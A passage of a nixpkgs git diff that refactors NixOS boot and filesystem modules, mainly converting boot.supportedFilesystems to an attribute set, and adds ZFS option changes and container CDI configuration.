b/nixos/modules/system/boot/networkd.nix index a7399bd55e770..88d6a2ded873c 100644 --- a/nixos/modules/system/boot/networkd.nix +++ b/nixos/modules/system/boot/networkd.nix @@ -647,9 +647,9 @@ let "BatmanAdvanced" ]) # Note: For DHCP the values both, none, v4, v6 are deprecated - (assertValueOneOf "DHCP" ["yes" "no" "ipv4" "ipv6"]) + (assertValueOneOf "DHCP" (boolValues ++ ["ipv4" "ipv6"])) (assertValueOneOf "DHCPServer" boolValues) - (assertValueOneOf "LinkLocalAddressing" ["yes" "no" "ipv4" "ipv6" "fallback" "ipv4-fallback"]) + (assertValueOneOf "LinkLocalAddressing" (boolValues ++ ["ipv4" "ipv6" "fallback" "ipv4-fallback"])) (assertValueOneOf "IPv6LinkLocalAddressGenerationMode" ["eui64" "none" "stable-privacy" "random"]) (assertValueOneOf "IPv4LLRoute" boolValues) (assertValueOneOf "DefaultRouteOnDevice" boolValues) diff --git a/nixos/modules/system/boot/plymouth.nix b/nixos/modules/system/boot/plymouth.nix index b041b8951fa37..16bca40993aeb 100644 --- a/nixos/modules/system/boot/plymouth.nix +++ b/nixos/modules/system/boot/plymouth.nix @@ -186,6 +186,8 @@ in # module might come from a theme cp ${themesEnv}/lib/plymouth/*.so $out cp ${plymouth}/lib/plymouth/renderers/*.so $out/renderers + # useless in the initrd, and adds several megabytes to the closure + rm $out/renderers/x11.so ''; "/etc/plymouth/themes".source = pkgs.runCommand "plymouth-initrd-themes" {} '' # Check if the actual requested theme is here @@ -271,6 +273,8 @@ in # module might come from a theme cp ${themesEnv}/lib/plymouth/*.so $out/lib/plymouth cp ${plymouth}/lib/plymouth/renderers/*.so $out/lib/plymouth/renderers + # useless in the initrd, and adds several megabytes to the closure + rm $out/lib/plymouth/renderers/x11.so mkdir -p $out/share/plymouth/themes cp ${plymouth}/share/plymouth/plymouthd.defaults $out/share/plymouth diff --git a/nixos/modules/system/boot/stage-1.nix b/nixos/modules/system/boot/stage-1.nix index 8f3f3612805f2..90a74c0ac5788 100644 --- a/nixos/modules/system/boot/stage-1.nix +++ b/nixos/modules/system/boot/stage-1.nix @@ -3,7 +3,7 @@ # the modules necessary to mount the root file system, then calls the # init in the root file system to start the second boot stage. -{ config, lib, utils, pkgs, ... }: +{ config, options, lib, utils, pkgs, ... }: with lib; @@ -636,10 +636,8 @@ in }; boot.initrd.supportedFilesystems = mkOption { - default = [ ]; - example = [ "btrfs" ]; - type = types.listOf types.str; - description = lib.mdDoc "Names of supported filesystem types in the initial ramdisk."; + default = { }; + inherit (options.boot.supportedFilesystems) example type description; }; boot.initrd.verbose = mkOption { diff --git a/nixos/modules/system/boot/systemd.nix b/nixos/modules/system/boot/systemd.nix index e29fa49ea23be..49090423e078c 100644 --- a/nixos/modules/system/boot/systemd.nix +++ b/nixos/modules/system/boot/systemd.nix @@ -97,6 +97,7 @@ let # Maintaining state across reboots. "systemd-random-seed.service" + "systemd-boot-random-seed.service" "systemd-backlight@.service" "systemd-rfkill.service" "systemd-rfkill.socket" @@ -667,7 +668,6 @@ in # Don't bother with certain units in containers. systemd.services.systemd-remount-fs.unitConfig.ConditionVirtualization = "!container"; - systemd.services.systemd-random-seed.unitConfig.ConditionVirtualization = "!container"; # Increase numeric PID range (set directly instead of copying a one-line file from systemd) # https://github.com/systemd/systemd/pull/12226 diff --git a/nixos/modules/system/boot/systemd/coredump.nix b/nixos/modules/system/boot/systemd/coredump.nix index 03ef00e5683c1..271d8f86d0e61 100644 --- a/nixos/modules/system/boot/systemd/coredump.nix +++ b/nixos/modules/system/boot/systemd/coredump.nix @@ -52,7 +52,7 @@ in { # See: https://github.com/NixOS/nixpkgs/issues/213408 pkgs.substitute { src = "${systemd}/example/sysctl.d/50-coredump.conf"; - replacements = [ + substitutions = [ "--replace" "${systemd}" "${pkgs.symlinkJoin { name = "systemd"; paths = [ systemd ]; }}" diff --git a/nixos/modules/system/boot/systemd/initrd.nix b/nixos/modules/system/boot/systemd/initrd.nix index 9641921fc795a..f83837fbc6d41 100644 --- a/nixos/modules/system/boot/systemd/initrd.nix +++ b/nixos/modules/system/boot/systemd/initrd.nix @@ -90,8 +90,6 @@ let inherit (cfg) packages package; }; - fileSystems = filter utils.fsNeededForBoot config.system.build.fileSystems; - kernel-name = config.boot.kernelPackages.kernel.name or "kernel"; modulesTree = config.system.modulesTree.override { name = kernel-name + "-modules"; }; firmware = config.hardware.firmware; diff --git a/nixos/modules/system/boot/systemd/oomd.nix b/nixos/modules/system/boot/systemd/oomd.nix index 000b18c01609a..edc25784367a4 100644 --- a/nixos/modules/system/boot/systemd/oomd.nix +++ b/nixos/modules/system/boot/systemd/oomd.nix @@ -49,15 +49,15 @@ in { systemd.slices."-".sliceConfig = lib.mkIf cfg.enableRootSlice { ManagedOOMMemoryPressure = "kill"; - ManagedOOMMemoryPressureLimit = "80%"; + ManagedOOMMemoryPressureLimit = lib.mkDefault "80%"; }; systemd.slices."system".sliceConfig = lib.mkIf cfg.enableSystemSlice { ManagedOOMMemoryPressure = "kill"; - ManagedOOMMemoryPressureLimit = "80%"; + ManagedOOMMemoryPressureLimit = lib.mkDefault "80%"; }; systemd.slices."user-".sliceConfig = lib.mkIf cfg.enableUserSlices { ManagedOOMMemoryPressure = "kill"; - ManagedOOMMemoryPressureLimit = "80%"; + ManagedOOMMemoryPressureLimit = lib.mkDefault "80%"; }; systemd.user.units."slice" = lib.mkIf cfg.enableUserSlices { text = '' diff --git a/nixos/modules/system/boot/systemd/repart.nix b/nixos/modules/system/boot/systemd/repart.nix index 3be744acd0b3b..6cc387cb6f43f 100644 --- a/nixos/modules/system/boot/systemd/repart.nix +++ b/nixos/modules/system/boot/systemd/repart.nix @@ -10,6 +10,20 @@ let "repart.d" format (lib.mapAttrs (_n: v: { Partition = v; }) cfg.partitions); + + partitionAssertions = lib.mapAttrsToList (fileName: definition: + let + maxLabelLength = 36; # GPT_LABEL_MAX defined in systemd's gpt.h + labelLength = builtins.stringLength definition.Label; + in + { + assertion = definition ? Label -> maxLabelLength >= labelLength; + message = '' + The partition label '${definition.Label}' defined for '${fileName}' is ${toString labelLength} + characters long, but the maximum label length supported by systemd is ${toString maxLabelLength}. + ''; + } + ) cfg.partitions; in { options = { @@ -81,7 +95,7 @@ in 'boot.initrd.systemd.repart.enable' requires 'boot.initrd.systemd.enable' to be enabled. ''; } - ]; + ] ++ partitionAssertions; # systemd-repart uses loopback devices for partition creation boot.initrd.availableKernelModules = lib.optional initrdCfg.enable "loop"; diff --git a/nixos/modules/system/boot/uki.nix b/nixos/modules/system/boot/uki.nix index 63a7cbc5967be..ce00ac8e63978 100644 --- a/nixos/modules/system/boot/uki.nix +++ b/nixos/modules/system/boot/uki.nix @@ -27,6 +27,20 @@ in description = lib.mdDoc "Version of the image or generation the UKI belongs to"; }; + tries = lib.mkOption { + type = lib.types.nullOr lib.types.ints.unsigned; + default = null; + description = lib.mdDoc '' + Number of boot attempts before this UKI is considered bad. + + If no tries are specified (the default) automatic boot assessment remains inactive. + + See documentation on [Automatic Boot Assessment](https://systemd.io/AUTOMATIC_BOOT_ASSESSMENT/) and + [boot counting](https://uapi-group.org/specifications/specs/boot_loader_specification/#boot-counting) + for more information. + ''; + }; + settings = lib.mkOption { type = format.type; description = lib.mdDoc '' @@ -69,8 +83,9 @@ in name = config.boot.uki.name; version = config.boot.uki.version; versionInfix = if version != null then "_${version}" else ""; + triesInfix = if cfg.tries != null then "+${builtins.toString cfg.tries}" else ""; in - name + versionInfix + ".efi"; + name + versionInfix + triesInfix + ".efi"; system.build.uki = pkgs.runCommand config.system.boot.loader.ukiFile { } '' mkdir -p $out diff --git a/nixos/modules/system/etc/build-composefs-dump.py b/nixos/modules/system/etc/build-composefs-dump.py index bf4ec791ecf7d..bba454dd888d6 100644 --- a/nixos/modules/system/etc/build-composefs-dump.py +++ b/nixos/modules/system/etc/build-composefs-dump.py @@ -199,7 +199,8 @@ def main() -> None: size=os.stat(source).st_size, filetype=FileType.file, mode=mode, - payload=target, + # payload needs to be relative path in this case + payload=target.lstrip("/"), ) paths[target] = composefs_path add_leading_directories(target, attrs, paths) diff --git a/nixos/modules/system/etc/etc.nix b/nixos/modules/system/etc/etc.nix index baf37ba6def34..9f735364196c6 100644 --- a/nixos/modules/system/etc/etc.nix +++ b/nixos/modules/system/etc/etc.nix @@ -238,7 +238,9 @@ in # this should not run because /etc is mounted via a systemd mount unit # instead. To a large extent this mimics what composefs does. Because # it's relatively simple, however, we avoid the composefs dependency. - if [[ ! $IN_NIXOS_SYSTEMD_STAGE1 ]]; then + # Since this script is not idempotent, it should not run when etc hasn't + # changed. + if [[ ! $IN_NIXOS_SYSTEMD_STAGE1 ]] && [[ "${config.system.build.etc}/etc" != "$(readlink -f /run/current-system/etc)" ]]; then echo "remounting /etc..." tmpMetadataMount=$(mktemp --directory) diff --git a/nixos/modules/tasks/filesystems.nix b/nixos/modules/tasks/filesystems.nix index 1378a0090c1df..191b462711948 100644 --- a/nixos/modules/tasks/filesystems.nix +++ b/nixos/modules/tasks/filesystems.nix @@ -105,7 +105,7 @@ let type = types.bool; description = lib.mdDoc '' If the device does not currently contain a filesystem (as - determined by {command}`blkid`, then automatically + determined by {command}`blkid`), then automatically format it with the filesystem type specified in {option}`fsType`. Use with caution. ''; @@ -246,10 +246,23 @@ in }; boot.supportedFilesystems = mkOption { - default = [ ]; - example = [ "btrfs" ]; - type = types.listOf types.str; - description = lib.mdDoc "Names of supported filesystem types."; + default = { }; + example = lib.literalExpression '' + { + btrfs = true; + zfs = lib.mkForce false; + } + ''; + type = types.coercedTo + (types.listOf types.str) + (enabled: lib.listToAttrs (map (fs: lib.nameValuePair fs true) enabled)) + (types.attrsOf types.bool); + description = lib.mdDoc '' + Names of supported filesystem types, or an attribute set of file system types + and their state. The set form may be used together with `lib.mkForce` to + explicitly disable support for specific filesystems, e.g. to disable ZFS + with an unsupported kernel. + ''; }; boot.specialFileSystems = mkOption { diff --git a/nixos/modules/tasks/filesystems/apfs.nix b/nixos/modules/tasks/filesystems/apfs.nix index 2f2be351df61b..980a3ad0f9c4b 100644 --- a/nixos/modules/tasks/filesystems/apfs.nix +++ b/nixos/modules/tasks/filesystems/apfs.nix @@ -4,12 +4,12 @@ with lib; let - inInitrd = any (fs: fs == "apfs") config.boot.initrd.supportedFilesystems; + inInitrd = config.boot.initrd.supportedFilesystems.apfs or false; in { - config = mkIf (any (fs: fs == "apfs") config.boot.supportedFilesystems) { + config = mkIf (config.boot.supportedFilesystems.apfs or false) { system.fsPackages = [ pkgs.apfsprogs ]; diff --git a/nixos/modules/tasks/filesystems/bcachefs.nix b/nixos/modules/tasks/filesystems/bcachefs.nix index 3b990ce30b21e..ba33edd702f70 100644 --- a/nixos/modules/tasks/filesystems/bcachefs.nix +++ b/nixos/modules/tasks/filesystems/bcachefs.nix @@ -118,7 +118,7 @@ let in { - config = lib.mkIf (lib.elem "bcachefs" config.boot.supportedFilesystems) (lib.mkMerge [ + config = lib.mkIf (config.boot.supportedFilesystems.bcachefs or false) (lib.mkMerge [ { inherit assertions; # needed for systemd-remount-fs @@ -133,7 +133,7 @@ in }; } - (lib.mkIf ((lib.elem "bcachefs" config.boot.initrd.supportedFilesystems) || (bootFs != {})) { + (lib.mkIf ((config.boot.initrd.supportedFilesystems.bcachefs or false) || (bootFs != {})) { inherit assertions; # chacha20 and poly1305 are required only for decryption attempts boot.initrd.availableKernelModules = [ "bcachefs" "sha256" "chacha20" "poly1305" ]; diff --git a/nixos/modules/tasks/filesystems/btrfs.nix b/nixos/modules/tasks/filesystems/btrfs.nix index 87fe326c09740..8494a06f97a26 100644 --- a/nixos/modules/tasks/filesystems/btrfs.nix +++ b/nixos/modules/tasks/filesystems/btrfs.nix @@ -4,8 +4,8 @@ with lib; let - inInitrd = any (fs: fs == "btrfs") config.boot.initrd.supportedFilesystems; - inSystem = any (fs: fs == "btrfs") config.boot.supportedFilesystems; + inInitrd = config.boot.initrd.supportedFilesystems.btrfs or false; + inSystem = config.boot.supportedFilesystems.btrfs or false; cfgScrub = config.services.btrfs.autoScrub; diff --git a/nixos/modules/tasks/filesystems/cifs.nix b/nixos/modules/tasks/filesystems/cifs.nix index 837b9e19bfb9d..5a562b2940f7d 100644 --- a/nixos/modules/tasks/filesystems/cifs.nix +++ b/nixos/modules/tasks/filesystems/cifs.nix @@ -4,14 +4,14 @@ with lib; let - inInitrd = any (fs: fs == "cifs") config.boot.initrd.supportedFilesystems; + inInitrd = config.boot.initrd.supportedFilesystems.cifs or false; in { config = { - system.fsPackages = mkIf (any (fs: fs == "cifs") config.boot.supportedFilesystems) [ pkgs.cifs-utils ]; + system.fsPackages = mkIf (config.boot.supportedFilesystems.cifs or false) [ pkgs.cifs-utils ]; boot.initrd.availableKernelModules = mkIf inInitrd [ "cifs" "nls_utf8" "hmac" "md4" "ecb" "des_generic" "sha256" ]; diff --git a/nixos/modules/tasks/filesystems/ecryptfs.nix b/nixos/modules/tasks/filesystems/ecryptfs.nix index 8138e65916109..f966a1be15360 100644 --- a/nixos/modules/tasks/filesystems/ecryptfs.nix +++ b/nixos/modules/tasks/filesystems/ecryptfs.nix @@ -4,7 +4,7 @@ with lib; { - config = mkIf (any (fs: fs == "ecryptfs") config.boot.supportedFilesystems) { + config = mkIf (config.boot.supportedFilesystems.ecryptfs or false) { system.fsPackages = [ pkgs.ecryptfs ]; security.wrappers = { "mount.ecryptfs_private" = diff --git a/nixos/modules/tasks/filesystems/erofs.nix b/nixos/modules/tasks/filesystems/erofs.nix index a3d6576693505..b13fa25315579 100644 --- a/nixos/modules/tasks/filesystems/erofs.nix +++ b/nixos/modules/tasks/filesystems/erofs.nix @@ -2,8 +2,8 @@ let - inInitrd = lib.any (fs: fs == "erofs") config.boot.initrd.supportedFilesystems; - inSystem = lib.any (fs: fs == "erofs") config.boot.supportedFilesystems; + inInitrd = config.boot.initrd.supportedFilesystems.erofs or false; + inSystem = config.boot.supportedFilesystems.erofs or false; in diff --git a/nixos/modules/tasks/filesystems/exfat.nix b/nixos/modules/tasks/filesystems/exfat.nix index 540b9b91c3ec8..4011653c00df1 100644 --- a/nixos/modules/tasks/filesystems/exfat.nix +++ b/nixos/modules/tasks/filesystems/exfat.nix @@ -3,7 +3,7 @@ with lib; { - config = mkIf (any (fs: fs == "exfat") config.boot.supportedFilesystems) { + config = mkIf (config.boot.supportedFilesystems.exfat or false) { system.fsPackages = if config.boot.kernelPackages.kernelOlder "5.7" then [ pkgs.exfat # FUSE ] else [ diff --git a/nixos/modules/tasks/filesystems/ext.nix b/nixos/modules/tasks/filesystems/ext.nix index 1c34ee2c70356..165fe9474c3e8 100644 --- a/nixos/modules/tasks/filesystems/ext.nix +++ b/nixos/modules/tasks/filesystems/ext.nix @@ -2,8 +2,10 @@ let - inInitrd = lib.any (fs: fs == "ext2" || fs == "ext3" || fs == "ext4") config.boot.initrd.supportedFilesystems; - inSystem = lib.any (fs: fs == "ext2" || fs == "ext3" || fs == "ext4") config.boot.supportedFilesystems; + hasExtX = s: s.ext2 or s.ext3 or s.ext4 or false; + + inInitrd = hasExtX config.boot.initrd.supportedFilesystems; + inSystem = hasExtX config.boot.supportedFilesystems; in diff --git a/nixos/modules/tasks/filesystems/f2fs.nix b/nixos/modules/tasks/filesystems/f2fs.nix index 4f99f9a57fa6d..f4f5fcab9caef 100644 --- a/nixos/modules/tasks/filesystems/f2fs.nix +++ b/nixos/modules/tasks/filesystems/f2fs.nix @@ -3,11 +3,10 @@ with lib; let - inInitrd = any (fs: fs == "f2fs") config.boot.initrd.supportedFilesystems; - fileSystems = filter (x: x.fsType == "f2fs") config.system.build.fileSystems; + inInitrd = config.boot.initrd.supportedFilesystems.f2fs or false; in { - config = mkIf (any (fs: fs == "f2fs") config.boot.supportedFilesystems) { + config = mkIf (config.boot.supportedFilesystems.f2fs or false) { system.fsPackages = [ pkgs.f2fs-tools ]; diff --git a/nixos/modules/tasks/filesystems/glusterfs.nix b/nixos/modules/tasks/filesystems/glusterfs.nix index e8c7fa8efbae1..02ef95262dbda 100644 --- a/nixos/modules/tasks/filesystems/glusterfs.nix +++ b/nixos/modules/tasks/filesystems/glusterfs.nix @@ -3,7 +3,7 @@ with lib; { - config = mkIf (any (fs: fs == "glusterfs") config.boot.supportedFilesystems) { + config = mkIf (config.boot.supportedFilesystems.glusterfs or false) { system.fsPackages = [ pkgs.glusterfs ]; diff --git a/nixos/modules/tasks/filesystems/jfs.nix b/nixos/modules/tasks/filesystems/jfs.nix index b5132b4caa334..73ddb0fb18bb6 100644 --- a/nixos/modules/tasks/filesystems/jfs.nix +++ b/nixos/modules/tasks/filesystems/jfs.nix @@ -3,10 +3,10 @@ with lib; let - inInitrd = any (fs: fs == "jfs") config.boot.initrd.supportedFilesystems; + inInitrd = config.boot.initrd.supportedFilesystems.jfs or false; in { - config = mkIf (any (fs: fs == "jfs") config.boot.supportedFilesystems) { + config = mkIf (config.boot.supportedFilesystems.jfs or false) { system.fsPackages = [ pkgs.jfsutils ]; diff --git a/nixos/modules/tasks/filesystems/nfs.nix b/nixos/modules/tasks/filesystems/nfs.nix index 8c631f0772db1..462568b5db3e9 100644 --- a/nixos/modules/tasks/filesystems/nfs.nix +++ b/nixos/modules/tasks/filesystems/nfs.nix @@ -4,7 +4,7 @@ with lib; let - inInitrd = any (fs: fs == "nfs") config.boot.initrd.supportedFilesystems; + inInitrd = config.boot.initrd.supportedFilesystems.nfs or false; nfsStateDir = "/var/lib/nfs"; @@ -58,7 +58,7 @@ in ###### implementation - config = mkIf (any (fs: fs == "nfs" || fs == "nfs4") config.boot.supportedFilesystems) { + config = mkIf (config.boot.supportedFilesystems.nfs or config.boot.supportedFilesystems.nfs4 or false) { services.rpcbind.enable = true; diff --git a/nixos/modules/tasks/filesystems/ntfs.nix b/nixos/modules/tasks/filesystems/ntfs.nix index c40d2a1a80bc5..99ba494a7a39e 100644 --- a/nixos/modules/tasks/filesystems/ntfs.nix +++ b/nixos/modules/tasks/filesystems/ntfs.nix @@ -3,7 +3,7 @@ with lib; { - config = mkIf (any (fs: fs == "ntfs" || fs == "ntfs-3g") config.boot.supportedFilesystems) { + config = mkIf (config.boot.supportedFilesystems.ntfs or config.boot.supportedFilesystems.ntfs-3g or false) { system.fsPackages = [ pkgs.ntfs3g ]; diff --git a/nixos/modules/tasks/filesystems/reiserfs.nix b/nixos/modules/tasks/filesystems/reiserfs.nix index 3c6a0f0cd917f..f3f5e6aaa10b9 100644 --- a/nixos/modules/tasks/filesystems/reiserfs.nix +++ b/nixos/modules/tasks/filesystems/reiserfs.nix @@ -4,12 +4,12 @@ with lib; let - inInitrd = any (fs: fs == "reiserfs") config.boot.initrd.supportedFilesystems; + inInitrd = config.boot.initrd.supportedFilesystems.reiserfs or false; in { - config = mkIf (any (fs: fs == "reiserfs") config.boot.supportedFilesystems) { + config = mkIf (config.boot.supportedFilesystems.reiserfs or false) { system.fsPackages = [ pkgs.reiserfsprogs ]; diff --git a/nixos/modules/tasks/filesystems/squashfs.nix b/nixos/modules/tasks/filesystems/squashfs.nix index 10d45a21d3ca8..a0fac904766a4 100644 --- a/nixos/modules/tasks/filesystems/squashfs.nix +++ b/nixos/modules/tasks/filesystems/squashfs.nix @@ -2,7 +2,7 @@ let - inInitrd = lib.any (fs: fs == "squashfs") config.boot.initrd.supportedFilesystems; + inInitrd = config.boot.initrd.supportedFilesystems.squashfs or false; in diff --git a/nixos/modules/tasks/filesystems/sshfs.nix b/nixos/modules/tasks/filesystems/sshfs.nix index cd71dda16d8b4..63ff7f2b6b399 100644 --- a/nixos/modules/tasks/filesystems/sshfs.nix +++ b/nixos/modules/tasks/filesystems/sshfs.nix @@ -1,7 +1,11 @@ { config, lib, pkgs, ... }: { - config = lib.mkIf (lib.any (fs: fs == "sshfs" || fs == "fuse.sshfs") config.boot.supportedFilesystems) { - system.fsPackages = [ pkgs.sshfs ]; - }; + config = lib.mkIf + (config.boot.supportedFilesystems.sshfs + or config.boot.supportedFilesystems."fuse.sshfs" + or false) + { + system.fsPackages = [ pkgs.sshfs ]; + }; } diff --git a/nixos/modules/tasks/filesystems/unionfs-fuse.nix b/nixos/modules/tasks/filesystems/unionfs-fuse.nix index f9954b5182f91..929454ff1529c 100644 --- a/nixos/modules/tasks/filesystems/unionfs-fuse.nix +++ b/nixos/modules/tasks/filesystems/unionfs-fuse.nix @@ -3,7 +3,7 @@ { config = lib.mkMerge [ - (lib.mkIf (lib.any (fs: fs == "unionfs-fuse") config.boot.initrd.supportedFilesystems) { + (lib.mkIf (config.boot.initrd.supportedFilesystems.unionfs-fuse or false) { boot.initrd.kernelModules = [ "fuse" ]; boot.initrd.extraUtilsCommands = lib.mkIf (!config.boot.initrd.systemd.enable) '' @@ -35,7 +35,7 @@ }; }) - (lib.mkIf (lib.any (fs: fs == "unionfs-fuse") config.boot.supportedFilesystems) { + (lib.mkIf (config.boot.supportedFilesystems.unionfs-fuse or false) { system.fsPackages = [ pkgs.unionfs-fuse ]; }) diff --git a/nixos/modules/tasks/filesystems/vboxsf.nix b/nixos/modules/tasks/filesystems/vboxsf.nix index 5497194f6a8d1..00245b5af2527 100644 --- a/nixos/modules/tasks/filesystems/vboxsf.nix +++ b/nixos/modules/tasks/filesystems/vboxsf.nix @@ -4,7 +4,7 @@ with lib; let - inInitrd = any (fs: fs == "vboxsf") config.boot.initrd.supportedFilesystems; + inInitrd = config.boot.initrd.supportedFilesystems.vboxsf or false; package = pkgs.runCommand "mount.vboxsf" { preferLocalBuild = true; } '' mkdir -p $out/bin @@ -13,7 +13,7 @@ let in { - config = mkIf (any (fs: fs == "vboxsf") config.boot.supportedFilesystems) { + config = mkIf (config.boot.supportedFilesystems.vboxsf or false) { system.fsPackages = [ package ]; diff --git a/nixos/modules/tasks/filesystems/vfat.nix b/nixos/modules/tasks/filesystems/vfat.nix index 9281b34633c25..d7acc0c9e50b9 100644 --- a/nixos/modules/tasks/filesystems/vfat.nix +++ b/nixos/modules/tasks/filesystems/vfat.nix @@ -4,12 +4,12 @@ with lib; let - inInitrd = any (fs: fs == "vfat") config.boot.initrd.supportedFilesystems; + inInitrd = config.boot.initrd.supportedFilesystems.vfat or false; in { - config = mkIf (any (fs: fs == "vfat") config.boot.supportedFilesystems) { + config = mkIf (config.boot.supportedFilesystems.vfat or false) { system.fsPackages = [ pkgs.dosfstools pkgs.mtools ]; diff --git a/nixos/modules/tasks/filesystems/xfs.nix b/nixos/modules/tasks/filesystems/xfs.nix index 76f31e660ad3d..50dc1b3340aa5 100644 --- a/nixos/modules/tasks/filesystems/xfs.nix +++ b/nixos/modules/tasks/filesystems/xfs.nix @@ -4,12 +4,12 @@ with lib; let - inInitrd = any (fs: fs == "xfs") config.boot.initrd.supportedFilesystems; + inInitrd = config.boot.initrd.supportedFilesystems.xfs or false; in { - config = mkIf (any (fs: fs == "xfs") config.boot.supportedFilesystems) { + config = mkIf (config.boot.supportedFilesystems.xfs or false) { system.fsPackages = [ pkgs.xfsprogs.bin ]; diff --git a/nixos/modules/tasks/filesystems/zfs.nix b/nixos/modules/tasks/filesystems/zfs.nix index b289d2151eb79..d11424c11c810 100644 --- a/nixos/modules/tasks/filesystems/zfs.nix +++ b/nixos/modules/tasks/filesystems/zfs.nix @@ -20,8 +20,8 @@ let clevisDatasets = map (e: e.device) (filter (e: e.device != null && (hasAttr e.device config.boot.initrd.clevis.devices) && e.fsType == "zfs" && (fsNeededForBoot e)) config.system.build.fileSystems); - inInitrd = any (fs: fs == "zfs") config.boot.initrd.supportedFilesystems; - inSystem = any (fs: fs == "zfs") config.boot.supportedFilesystems; + inInitrd = config.boot.initrd.supportedFilesystems.zfs or false; + inSystem = config.boot.supportedFilesystems.zfs or false; autosnapPkg = pkgs.zfstools.override { zfs = cfgZfs.package; @@ -211,6 +211,7 @@ in imports = [ (mkRemovedOptionModule [ "boot" "zfs" "enableLegacyCrypto" ] "The corresponding package was removed from nixpkgs.") + (mkRemovedOptionModule [ "boot" "zfs" "enableUnstable" ] "Instead set `boot.zfs.package = pkgs.zfs_unstable;`") ]; ###### interface @@ -219,9 +220,9 @@ in boot.zfs = { package = mkOption { type = types.package; - default = if cfgZfs.enableUnstable then pkgs.zfsUnstable else pkgs.zfs; - defaultText = literalExpression "if zfsUnstable is enabled then pkgs.zfsUnstable else pkgs.zfs"; - description = lib.mdDoc "Configured ZFS userland tools package, use `pkgs.zfsUnstable` if you want to track the latest staging ZFS branch."; + default = pkgs.zfs; + defaultText = literalExpression "pkgs.zfs"; + description = lib.mdDoc "Configured ZFS userland tools package, use `pkgs.zfs_unstable` if you want to track the latest staging ZFS branch."; }; modulePackage = mkOption { @@ -239,19 +240,6 @@ in description = lib.mdDoc "True if ZFS filesystem support is enabled"; }; - enableUnstable = mkOption { - type = types.bool; - default = false; - description = lib.mdDoc '' - Use the unstable zfs package. This might be an option, if the latest - kernel is not yet supported by a published release of ZFS. Enabling - this option will install a development version of ZFS on Linux. The - version will have already passed an extensive test suite, but it is - more likely to hit an undiscovered bug compared to running a released - version of ZFS on Linux. - ''; - }; - allowHibernation = mkOption { type = types.bool; default = false; @@ -347,24 +335,12 @@ in removeLinuxDRM = lib.mkOption { type = types.bool; default = false; - description = lib.mdDoc '' - Linux 6.2 dropped some kernel symbols required on aarch64 required by zfs. - Enabling this option will bring them back to allow this kernel version. - Note that in some jurisdictions this may be illegal as it might be considered - removing copyright protection from the code. - See https://www.ifross.org/?q=en/artikel/ongoing-dispute-over-value-exportsymbolgpl-function for further information. + description = '' + Patch the kernel to change symbols needed by ZFS from + EXPORT_SYMBOL_GPL to EXPORT_SYMBOL. - If configure your kernel package with `zfs.latestCompatibleLinuxPackages`, you will need to also pass removeLinuxDRM to that package like this: - - ``` - { pkgs, ... }: { - boot.kernelPackages = (pkgs.zfs.override { - removeLinuxDRM = pkgs.hostPlatform.isAarch64; - }).latestCompatibleLinuxPackages; - - boot.zfs.removeLinuxDRM = true; - } - ``` + Currently has no effect, but may again in future if a kernel + update breaks ZFS due to symbols being newly changed to GPL. ''; }; }; @@ -588,7 +564,7 @@ in kernelParams = lib.optionals (!config.boot.zfs.allowHibernation) [ "nohibernate" ]; extraModulePackages = [ - (cfgZfs.modulePackage.override { inherit (cfgZfs) removeLinuxDRM; }) + cfgZfs.modulePackage ]; }; @@ -725,21 +701,6 @@ in services.udev.packages = [ cfgZfs.package ]; # to hook zvol naming, etc. systemd.packages = [ cfgZfs.package ]; - # Export kernel_neon_* symbols again. - # This change is necessary until ZFS figures out a solution - # with upstream or in their build system to fill the gap for - # this symbol. - # In the meantime, we restore what was once a working piece of code - # in the kernel. - boot.kernelPatches = lib.optional (cfgZfs.removeLinuxDRM && pkgs.stdenv.hostPlatform.system == "aarch64-linux") { - name = "export-neon-symbols-as-gpl"; - patch = pkgs.fetchpatch { - url = "https://github.com/torvalds/linux/commit/aaeca98456431a8d9382ecf48ac4843e252c07b3.patch"; - hash = "sha256-L2g4G1tlWPIi/QRckMuHDcdWBcKpObSWSRTvbHRIwIk="; - revert = true; - }; - }; - systemd.services = let createImportService' = pool: createImportService { inherit pool; diff --git a/nixos/modules/virtualisation/containers.nix b/nixos/modules/virtualisation/containers.nix index 3e33cabf26608..b3d81078eb349 100644 --- a/nixos/modules/virtualisation/containers.nix +++ b/nixos/modules/virtualisation/containers.nix @@ -28,6 +28,43 @@ in description = lib.mdDoc "Enable the OCI seccomp BPF hook"; }; + cdi = { + dynamic.nvidia.enable = mkOption { + type = types.bool; + default = false; + description = lib.mdDoc '' + Enable dynamic CDI configuration for NVidia devices by running nvidia-container-toolkit on boot. + ''; + }; + + static = mkOption { + type = types.attrs; + default = { }; + description = lib.mdDoc '' + Declarative CDI specification. Each key of the attribute set + will be mapped to a file in /etc/cdi. It is required for every + key to be provided in JSON format. + ''; + example = { + some-vendor = builtins.fromJSON '' + { + "cdiVersion": "0.5.0", + "kind": "some-vendor.com/foo", + "devices": [], + "containerEdits": [] + } + ''; + + some-other-vendor = { + cdiVersion = "0.5.0"; + kind = "some-other-vendor.com/bar"; + devices = []; + containerEdits = []; + }; + }; + }; + }; + containersConf.settings = mkOption { type = toml.type; default = { }; @@ -113,6 +150,8 @@ in config = lib.mkIf cfg.enable { + hardware.nvidia-container-toolkit-cdi-generator.enable = lib.mkIf cfg.cdi.dynamic.nvidia.enable true; + virtualisation.containers.containersConf.cniPlugins = [ pkgs.cni-plugins ]; virtualisation.containers.containersConf.settings = { @@ -124,19 +163,28 @@ in }; }; - environment.etc."containers/containers.conf".source = - toml.generate "containers.conf" cfg.containersConf.settings; - - environment.etc."containers/storage.conf".source = - toml.generate "storage.conf" cfg.storage.settings; + environment.etc = let + cdiStaticConfigurationFiles = (lib.attrsets.mapAttrs' + (name: value: + lib.attrsets.nameValuePair "cdi/${name}.json" + { text = builtins.toJSON value; }) + cfg.cdi.static); + in { + "containers/containers.conf".source = + toml.generate "containers.conf" cfg.containersConf.settings; + + "containers/storage.conf".source = + toml.generate "storage.conf" cfg.storage.settings; + + "containers/registries.conf".source = toml.generate "registries.conf" { + registries = lib.mapAttrs (n: v: { registries = v; }) cfg.registries; + }; - environment.etc."containers/registries.conf".source = toml.generate "registries.conf" { - registries = lib.mapAttrs (n: v: { registries = v; }) cfg.registries; - }; + "containers/policy.json".source = + if cfg.policy != { } then pkgs.writeText "policy.json" (builtins.toJSON cfg.policy) + else "${pkgs.skopeo.policy}/default-policy.json"; + } // cdiStaticConfigurationFiles; - environment.etc."containers/policy.json".source = - if cfg.policy != { } then pkgs.writeText "policy.json" (builtins.toJSON cfg.policy) - else "${pkgs.skopeo.policy}/default-policy.json"; }; } diff --git a/nixos/modules/virtualisation/cri-o.nix b/nixos/modules/virtualisation/cri-o.nix index 